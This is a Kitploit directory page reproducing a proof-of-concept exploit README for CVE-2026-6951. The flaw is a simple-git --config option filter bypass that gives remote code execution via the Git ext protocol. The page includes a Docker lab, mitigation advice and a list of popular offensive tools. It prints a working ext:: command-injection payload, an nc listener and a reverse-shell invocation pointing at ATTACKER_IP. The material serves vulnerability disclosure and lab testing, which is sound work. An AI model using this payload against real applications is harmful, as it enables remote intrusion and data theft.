Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-6951 — Proof-of-concept exploit for CVE-2026-6951, a simple-git --config filter bypass enabling RCE via the Git ext protocol, with a Docker lab and reverse shell payload. | Kitploit
Tools/GitHubGitHub/eqstlab/cve-2026-6951
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingRed TeamingRemote Access ToolPayload Development
GitHubeqstlab/cve-2026-6951

CVE-2026-6951

Proof-of-concept exploit for CVE-2026-6951, a simple-git --config filter bypass enabling RCE via the Git ext protocol, with a Docker lab and reverse shell payload.

View Repository
3251 month agoNot yet reviewed
Share

CVE-2026-6951 simple-git Remote Code Execution

★ CVE-2026-6951 simple-git --config Option Filter Bypass RCE PoC ★

https://github.com/user-attachments/assets/4c992530-c5bb-4ff4-be5d-af0857eebb67


Overview

CVE-2026-6951 is a remote code execution vulnerability in simple-git caused by an incomplete fix for CVE-2022-25912. Although the -c option was blocked, the equivalent --config option was not properly restricted. An attacker who can control Git arguments can enable the ext protocol and execute arbitrary commands through an ext:: repository URL.


Affected Versions

CategoryVersion
Vulnerablesimple-git versions before 3.36.0
Patchedsimple-git 3.36.0 or later

This environment uses simple-git 3.35.2 and @simple-git/argv-parser 1.0.3.


Impact

  • Remote code execution with the privileges of the Node.js application
  • Sensitive file disclosure
  • Reverse shell access
  • Modification or deletion of application data

Environment

Build and run the vulnerable environment.

docker build -t cve-2026-6951 .
docker run --rm -d --name cve-2026-6951 -p 9107:9107 cve-2026-6951

Access the service at:

http://127.0.0.1:9107

Check the service status.

curl -s http://127.0.0.1:9107/api/health

The embedded sample repository is available at:

file:///srv/git/sample.git

PoC

Start a listener on the attacker system.

nc -lvnp 4444

Run the exploit script.

python3 poc.py http://127.0.0.1:9107 --lhost ATTACKER_IP --lport 4444

The following request executes the id command by abusing the unrestricted --config option and the Git ext protocol.

curl -s -X POST http://127.0.0.1:9107/api/import \
  -H 'Content-Type: application/json' \
  --data-raw '{
    "repository":"ext::sh -c id% >&2",
    "name":"id-check",
    "options":["--config","protocol.ext.allow=always"],
    "environment":{}
  }'

Mitigation

  • Upgrade simple-git to version 3.36.0 or later.
  • Do not pass user-controlled Git options directly to simple-git.
  • Allow only trusted repository URL schemes and reject ext:: URLs.
  • Apply strict allowlist validation to repository URLs and Git arguments.

Analysis

  • KR:
  • EN:
Download Tool

Most Popular

View all →

Discover the most used tools by our community.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 The ultimate OSINT toolkit: investigation graph, confidence scoring, alias families, map, timeline and reports. 49 modules, 400+ sites, no API keys required.

    916
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock One-Tap Execution App (CVE-2026-43499)

    558
  • 3

    redforge

    cybersecurity91/redforge

    Browser-side red team toolkit with 102 offline tools for recon, payload generation, credential attacks, crypto, encoding and engagement reporting.

    370
  • 4

    ARTEX

    baarai/artex

    LLM multi-agent autonomous penetration testing platform with planner/worker agents, asset and exploration graphs, MITM traffic recording, and vulnerability retesting.

    360
  • 5

    looking-glass

    anonghosty/looking-glass

    CSIRT platform that ingests Shadowserver reports into MongoDB and replays them as interactive maps, analysis, findings, advisories and executive dashboards.

    317
  • 6

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    The system of action for AI-native cybersecurity—where intent becomes governed execution, evidence becomes operational memory, and every operation improves the next.

    289

Explore all tools

Browse our collection of tools

View all tools →